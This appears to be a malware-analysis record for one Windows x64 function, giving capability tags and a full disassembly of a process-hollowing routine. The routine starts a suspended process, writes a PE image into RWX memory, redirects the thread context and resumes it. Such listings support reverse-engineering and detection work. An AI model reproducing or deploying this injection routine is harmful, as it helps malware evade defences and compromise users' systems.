Function at 0x1400bc320
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x538
mov rax, qword [0x140122940]
xor rax, rsp
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x58], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x90]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp dword [rax], 0x4550
jne 0x1400bc607
mov r8d, 0x104
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400bc607
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov dword [rax + 0x30], 0x10000b
mov qword [rsp + 0x88], 0
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400bc607
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rsp + 0x68], 0
jmp 0x1400bc4eb
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp qword [rsp + 0x68], rax
jae 0x1400bc5b6
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
imul rcx, qword [rsp + 0x68], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x70]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0x78]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x50]
add rax, 0x30
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
jmp 0x1400bc4de
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.1400ca200
add rsp, 0x538
ret